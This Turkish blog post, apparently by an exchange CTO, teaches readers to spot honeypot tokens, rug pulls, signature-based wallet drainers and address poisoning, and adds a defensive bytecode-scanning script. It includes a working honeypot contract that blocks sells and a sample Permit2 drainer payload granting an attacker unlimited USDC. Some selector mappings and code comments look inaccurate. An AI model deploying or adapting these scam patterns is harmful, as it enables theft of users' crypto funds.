Fonlarınızı kaybetmeden önce bir crypto drainer veya rug pull vakasını tespit etmek için BscScan veya Etherscan üzerindeki akıllı sözleşmeyi inceleyin; doğrulanmamış koda, gizli mint() fonksiyonlarına veya %10'u aşan satış vergilerine (sell tax) dikkat edin. Sözleşme sahipliğinin devredildiğini (ownership renunciation) ve likidite kilit süresini doğrulamak için sözleşme adreslerini her zaman Token Sniffer, DEXScreener ve GoPlus Security gibi otomatik tarayıcılardan geçirin. Son olarak, körü körüne gelen eth_sign, Permit2 veya setApprovalForAll isteklerini reddederek cüzdanınızı imza tabanlı drainer'lara karşı koruyun ve Rabby Wallet veya Pocket Universe gibi araçlarla her işlemi önceden simüle edin.
Selam herkese, ben CTO'nuz. Son üç yılımı, zincir üstü (on-chain) dolandırıcılığın akla gelebilecek her türlü vektörüyle mücadele ederken bir borsa altyapısını ayakta tutmaya adadım. Bundan önce de güvenlik denetimlerinde akıllı sözleşmeleri patlatıyor, Web3 hackathon'larında sabahlıyordum. Bu iş benim yaşam tarzım; gece saat 2'de kötü niyetli bir bytecode yüküne tersine mühendislik yapıp, saldırganın milyon dolarlık bir exploit'i tam olarak nasıl yapmaya çalıştığını çözmenin verdiği adrenalin hissinin gerçekten tarifi yok.
Gelin, bugün Web3 dünyasını mayın tarlasına çeviren bu tuzaklardan cüzdanınızı nasıl koruyabileceğinize detaylıca bakalım.
1. Hızlı Karşılaştırma: Honeypot vs. Rug Pull vs. Wallet Drainer
| Dolandırıcılık Türü | Nasıl Çalışır? | En Büyük Uyarı Sinyali | Tespit İçin Ana Araç |
|---|---|---|---|
| Honeypot | Akıllı sözleşme kullanıcıların serbestçe token almasına izin verir, ancak gizli mantıklar veya koşullu geri çevirmeler (revert) ile satış çağrılarını engeller. | %100 satış vergisi (sell tax), DEX swap'larında TRANSFER_FAILED hatası veya yakın geçmişte hiç satış işleminin olmaması. | Token Sniffer / DEXScreener |
| Rug Pull | Geliştiriciler havuza likidite ekler, token etrafında bir hype yaratır ve ardından tüm LP token'larını çeker veya kendilerine ayırdıkları arzı havuza boca eder. | Kilitlenmemiş likidite, 6 aydan kısa LP kilit süresi veya dev cüzdanının toplam arzın %10'undan fazlasını elinde tutması. | DEXTools / Uncx Network |
| Wallet Drainer | Oltalama (phishing) sitesi, cüzdanınıza tam erişim yetkisi veren zincir dışı bir mesajı veya harcama izni (allowance) işlemini imzalamanız için sizi kandırır. | Doğrulanmamış dApp'lerde eth_sign, Permit2 imzaları veya setApprovalForAll istekleri. | Pocket Universe / Rabby Wallet |
2. Herhangi Bir Token Satın Almadan Önce Adım Adım Güvenlik Kontrol Listesi
Adım 1: Otomatik Sözleşme Taraması
Token adresini Token Sniffer, GoPlus Security API ve DEXScreener üzerinden taratın. Eğer DEXScreener 4 saatlik bir pencerede 800 alım işlemi gösterip tam anlamıyla sıfır satış gösteriyorsa, orada durun. Bu net bir honeypot'tur. Nokta.
Adım 2: Likidite Kilit Süresi (Liquidity Lock Duration)
Meşru bir ekip, Likidite Havuzu (LP) token'larını Uncx Network veya PinkSale gibi protokoller aracılığıyla kilitler.
- Red Flag: Likiditenin kilitlenmemiş olması, bir EOA (Harici Sahipli Hesap) üzerinde tutulması veya 6 aydan daha kısa süreliğine kilitlenmesi.
- Green Flag: LP token'larının yakılmış olması (0x000000000000000000000000000000000000dead adresine gönderilmesi) veya doğrulanabilir bir sözleşmede en az bir yıl süreyle kilitlenmesi.
Adım 3: Dağılım ve Sahiplik Kontrolü
Etherscan veya BscScan üzerindeki Holders (Sahipler) sekmesini inceleyin.
Borsa veya yakım adresi dışındaki birkaç cüzdan toplam arzın %5–10'undan fazlasını kontrol ediyorsa, tebrikler: onların likidite çıkışı (exit liquidity) siz olacaksınız. Ayrıca sözleşme sahipliğinin devredilip devredilmediğini (renounced) kontrol edin. Devredilmediyse, geliştirici canı istediği zaman vergileri değiştirebilir, adresinizi karaliste alabilir veya transferleri durdurabilir.
Adım 4: İşlem ve İmza Denetimi
İşlemleri asla körü körüne imzalamayın (blind-sign). Modern wallet drainer'lar artık nadiren standart ETH transferi talep eder; standart cüzdan uyarı pencerelerini baypas etmek için EIP-712, Permit2 veya EIP-2612 gibi zincir dışı imzaları kötüye kullanırlar. İşlemi ağa yayınlamadan önce durum değişikliklerini incelemek için dinamik işlem simülasyonu uzantılarını kullanın.
3. Derinlemesine Güvenlik Analizi ve Kod Mekaniği
Gelin biraz gerçek teknik mekaniklerden bahsedelim. Geleneksel statik analiz araçları gelişmiş dolandırıcılıkları neden gözden kaçırır? Çünkü dolandırıcılar ortama duyarlı (context-aware) mantıklar yazarlar.
Bir dakika... İnsanlar neden hâlâ Etherscan'de kod doğrulamanın (code verification) güvenlik garantisi sunduğunu düşünüyor? "Doğrulanmış" bir projede para kaybeden birini her duyduğumda kendime bunu soruyorum. Kaynak kodunun doğrulanması, yalnızca dağıtılan EVM bytecode'unun gönderilen Solidity dosyalarıyla eşleştiğini kanıtlar. Bu dosyaların içindeki mantığın etik mi yoksa kötü niyetli mi olduğu hakkında tek bir kelime bile söylemez!
Honeypot Hilesi: Gas-Griefing ve Dinamik Vergiler
Yaygın bir honeypot tekniği, ilk dağıtım sırasında standart %2 ücret belirleyip, havuza yeterince likidite girdikten sonra _transfer() fonksiyonu içindeki ücreti %99'a çıkarmaktır.
Bundan daha da kötüsü dinamik gas-griefing honeypot'larıdır:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/*
* Sahada yakaladığım bir honeypot mantığının tersine mühendislikle çıkardığım hızlı bir kopyası.
* Bunu KESİNLİKLE canlıya almayın. Tamamen eğitim amaçlı bir analizdir.
*/
contract SneakyHoneypot {
address private _owner;
mapping(address => bool) private _isWhitelisted;
mapping(address => uint256) private _balances;
constructor() {
_owner = msg.sender;
_isWhitelisted[msg.sender] = true;
}
function transfer(address to, uint256 amount) public returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal {
require(_balances[from] >= amount, "ERC20: balance too low");
// Eğer bir satış emriyse (pair adresine transfer) ve gönderen beyaz listede değilse
if (!_isWhitelisted[from] && !_isWhitelisted[to]) {
// Hile: Sonsuz döngü veya ağır bellek tahsisiyle muazzam miktarda gas yakmak
// böylece alıcının işlemi "Out of Gas" hatasıyla başarısız olur!
assembly {
let m := mload(0x40)
mstore(m, 0xdeadbeef)
// Satış denemelerinde yapay olarak gas yak
invalid()
}
}
_balances[from] -= amount;
_balances[to] += amount;
}
}Burada ne olduğunu fark ettiniz mi? Satın aldığınızda her şey sorunsuz çalışır. Ancak Uniswap üzerinde bir swapExactTokensForETH çağrısı yönlendirdiğiniz anda sözleşme cüzdanınızın beyaz listede olup olmadığını kontrol eder. Değilse, bir invalid() opcode'u veya sonsuz döngü çalıştırarak ayrılan tüm gas'i tüketir ve işlemi anlaşılması güç bir hatayla geri çevirir (revert). Çoğu bireysel yatırımcı "Slippage çok düşük kaldı" diye düşünüp vazgeçerken, geliştirici havuzu yavaşça boşaltır.
4. Wallet Drainer'lar Web3 Savunmalarını Nasıl Baypas Eder?
Şimdi de zincir dışı (off-chain) imza exploit'lerini—özellikle Permit2 ve EIP-712'nin kötüye kullanımını konuşalım.
Geleneksel harcama izinleri (allowances), approve(spender, amount) fonksiyonunu çağıran zincir üstü bir işlem göndermenizi gerektirir. Bu gas ücreti doğurur ve cüzdan arayüzünde izinler konusunda sizi uyaran net bir pencere açar.
Drainer betikleri, Uniswap'in Permit2 standardını veya EIP-2612 onaylarını kullanarak bunu baypas eder. Kötü amaçlı dApp, cüzdan imzanızı (eth_signTypedData_v4) kullanarak zararsız görünen bir veri dizisini imzalamanızı ister. Perde arkasında bu dijital imza, saldırganın akıllı sözleşmesine, sizden başka bir zincir üstü onay gerektirmeden ERC-20 token'larınızı veya NFT'lerinizi hesabınızdan transfer etmesi için açık yetki verir!
// Drainer betikleri tarafından hazırlanan örnek kötü amaçlı veri yükü (payload)
const domain = {
name: 'Permit2',
chainId: 1, // Mainnet
verifyingContract: '0x000000000022D473030F116dDEE9F6B43aC78BA3' // Resmi Uniswap Permit2 adresi
};
const types = {
PermitSingle: [
{ name: 'details', type: 'PermitDetails' },
{ name: 'spender', type: 'address' },
{ name: 'sigDeadline', type: 'uint256' }
],
PermitDetails: [
{ name: 'token', type: 'address' },
{ name: 'amount', type: 'uint160' },
{ name: 'expiration', type: 'uint48' },
{ name: 'nonce', type: 'uint48' }
]
};
// Kullanıcı bir siteye giriş yaptığını sanır, ancak aslında maksimum token bakiyesini devreder:
const value = {
details: {
token: "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", // USDC
amount: "1461501637330902918203684832716283019655932542975", // uint160 maksimum değeri
expiration: 2000000000,
nonce: 0
},
spender: "0xMaliciousAttackerContractAddressHere...",
sigDeadline: 2000000000
};Bu veriyi imzalarsanız, saldırgan bu zincir dışı imzayı alır, kendisi Permit2 sözleşmesine sunar, gas ücretini öder ve USDC'lerinizi anında çalar.
5. EVM Bytecode Tersine Mühendisliği: Source Code Olmadan Scam'leri Tespit Etmek
Yeni bir token henüz Etherscan veya BscScan üzerinde verify edilmediğinde ne olur? Çoğu insan arkasına bakmadan kaçar. Ama bir CTO (ve eski güvenlik denetçisi) olarak benim için eğlence tam da unverified bytecode tarafında başlar. Bir kontratın sizi dolandırmaya çalışıp çalışmadığını anlamak için aslında orijinal Solidity kaynak koduna ihtiyacınız yok.
Geliştiriciler Solidity kodunu EVM bytecode'una derlediklerinde, fonksiyon isimleri Function Selector denilen 4 baytlık tanımlayıcılara dönüşür (fonksiyon imzasının Keccak-256 hash'inin ilk 4 baytı).
Örneğin, transfer(address,uint256) fonksiyonunun hash karşılığı her zaman 0xa9059cbb çıkar.
Doğrulanmamış bir kontratın bytecode'unu Dedaub Bytecode Decompiler veya ethervm.io gibi bir araca yapıştırdığınızda, doğrudan selector dispatcher kısmına bakın veya ham bytecode içinde şu şüpheli fonksiyon hash'lerini arayın:
0x40c10f19 -> mint(address,uint256)
0xbf8b0f72 -> enableTrading() / setTradingStatus(bool)
0x0283c741 -> setFee(uint256)
0xe47d6060 -> setBlacklist(address,bool)Bir dakika... Neden bu imzalara bu kadar kafa takasınız ki? Çünkü doğrulanmamış bir token kontratında, vazgeçilmemiş (un-renounced) bir owner yetkisiyle birlikte 0x40c10f19 (mint) varsa; geliştirici yoktan 10 milyar token basıp çaktırmadan kendi cüzdanına aktarabilir, Uniswap'ta bunları dump'layabilir ve likiditedeki tek bir doları bile saniyeler içinde sıfırlayabilir.
İşte herhangi bir token ile etkileşime girmeden önce, tehlikeli admin yetkilerini taramak için kendi içimizde kullandığım web3.py tabanlı basit bir Python script'i:
# Doğrulanmamış EVM bytecode'larındaki yüksek riskli fonksiyon imzalarını tespit etmek için dahili güvenlik aracı.
# Akıllı kontrat incelemelerinde hızlı otomatik kontroller için yazılmıştır.
from web3 import Web3
# Genel bir RPC node'una bağlan
w3 = Web3(Web3.HTTPProvider('https://eth.llamarpc.com'))
# Bilinen yüksek riskli 4 baytlık fonksiyon selector'ları (Keccak-256 hash'leri)
DANGEROUS_SELECTORS = {
"0x40c10f19": "mint(address,uint256)",
"0xe47d6060": "setBlacklist(address,bool)",
"0x8a8c523c": "preventSell(address)",
"0x70480932": "pauseTrading()"
}
def analyze_bytecode(contract_address: str):
# Chain üzerindeki ham bytecode'u çek
code = w3.eth.get_code(Web3.to_checksum_address(contract_address)).hex()
if code == '0x' or len(code) <= 2:
print("[-] Adreste deploy edilmiş bir kontrat kodu yok (EOA).")
return
print(f"[+] Şunun için EVM Bytecode analiz ediliyor: {contract_address}")
found_flags = []
for selector, func_name in DANGEROUS_SELECTORS.items():
# Raw hex string eşleşmesi için '0x' ön ekini kaldır
clean_selector = selector[2:]
if clean_selector in code:
found_flags.append(func_name)
if found_flags:
print("[!] KIRMIZI BAYRAK UYARISI! Bytecode içinde tehlikeli fonksiyonlar tespit edildi:")
for flag in found_flags:
print(f" - {flag}")
else:
print("[+] Standart taramada gizli bir temel admin selector'ına rastlanmadı.")
# Rastgele bir adresle örnek kullanım
# analyze_bytecode("0x...")6. İleri Seviye Drainer Taktikleri: Zehirlenmiş Onaylar ve Address Poisoning
Dolandırıcılar artık sadece DEX likidite havuzlarına bel bağlamıyor; kullanıcı deneyimi (UX) açıklarını ve psikolojik hileleri kullanarak doğrudan cüzdanınızdaki bakiyeyi hedef alıyorlar.
Address Poisoning (Adres Zehirleme) Saldırıları
Cüzdan geçmişinize bakarken hiç kendi adresinize ikizi kadar benzeyen bir adresten 0 ETH veya 0.0001 Token transfer edildiğini gördünüz mü?
İşte buna Address Poisoning deniyor.
Saldırı betikleri, yüksek meblağlı cüzdan işlemlerini tespit etmek için mempool'u anlık olarak izler. Ardından GPU tabanlı bir jeneratörle (Profanity gibi) cüzdanınızla (veya sıkça fon gönderdiğiniz bir adresle) ilk 4-5 karakteri ve son 4-5 karakteri birebir aynı olan çakma bir "vanity address" üretirler.
Sonra da transferFrom() fonksiyonunu kullanarak cüzdanınıza 0 değerinde bir işlem çakarlar.
Amaç ne mi? Sahte adreslerinin son işlem geçmişinizde görünmesini sağlamak. Bir dahaki sefere kripto göndermek için cüzdanınızı açtığınızda, adresi elle yazmak veya her bir karakteri tek tek kontrol etmek yerine geçmişteki en üst adresi kopyala-yapıştır yaparsınız... ve farkında olmadan ETH'lerinizi doğrudan dolandırıcıya ateşlersiniz.
Altın Kural: İşlem geçmişi halkanızdan ASLA cüzdan adresi kopyalamayın! Adresleri her zaman yer işaretlerine eklediğiniz rehberden, ENS alan adından alın veya adresin her bir karakterini tek tek teyit edin.
7. On-Chain Savunma İçin Eksiksiz Güvenlik Sıkılaştırma (Hardening) Listesi
Varlıklarınızı modern Web3 dünyasında güvende tutmak için şu operasyonel güvenlik (OpSec) düzenini mutlaka uygulayın:
- İşlem Yapmak ve Saklamak İçin Ayrı Hardware Wallet Kullanın: dApp'lere asla bağlanmayan, mesaj imzalamayan veya airdrop claim etmeyen bağımsız bir "cold storage" donanım cüzdanınız (Ledger, Trezor, Keystone) olsun. Günlük swap işlemleri ve deneysel DeFi protokolleri için içinde cüzi miktar bulundurduğunuz ayrı bir "burn-wallet" kullanın.
- Off-Chain Mesajlarda Kör İmzalamayı (Blind Signing) Reddedin: Mümkün olan her durumda donanım cihazınızdaki "blind signing" özelliğini kapatın. Bir dApp sizden
eth_signveya okuyamadığınız anlaşılmaz bir hex çıktısını imzalamanızı istiyorsa, hiç düşünmeden reddedin. - Özel Harcama Limitleri Belirleyin: Uniswap veya 1inch üzerinde ERC-20 harcama limiti onaylarken (approval) asla "Unlimited" seçmeyin. Harcama iznini (allowance) tam olarak takas edeceğiniz miktara manuel olarak ayarlayın. Böylece protokol daha sonra hacklense bile kalan token'larınıza kimse dokunamaz.
- Düzenli İzin Temizliği Alışkanlığı Edinin: Her ayın 1'ine takviminize hatırlatıcı koyun; Revoke.cash veya Etherscan Token Approval Checker sitelerini ziyaret ederek tüm ağlardaki (Ethereum, Arbitrum, Solana, Base, BSC) eski veya kullanılmayan izinleri iptal edin (revoke).
Şimdilik temel mekaniklerin hepsini hallettik sanırım! Şüpheli bir kontratla karşılaştıysanız, kod parçacıklarıyla ilgili kafanıza takılan bir şey varsa ya da tuhaf bir işlem hash'ini çözmek için yardıma ihtiyacınız olursa aşağıya yorum bırakmaktan çekinmeyin. Elimden geldiğince dahi olup sorularınızı yanıtlamaya çalışacağım!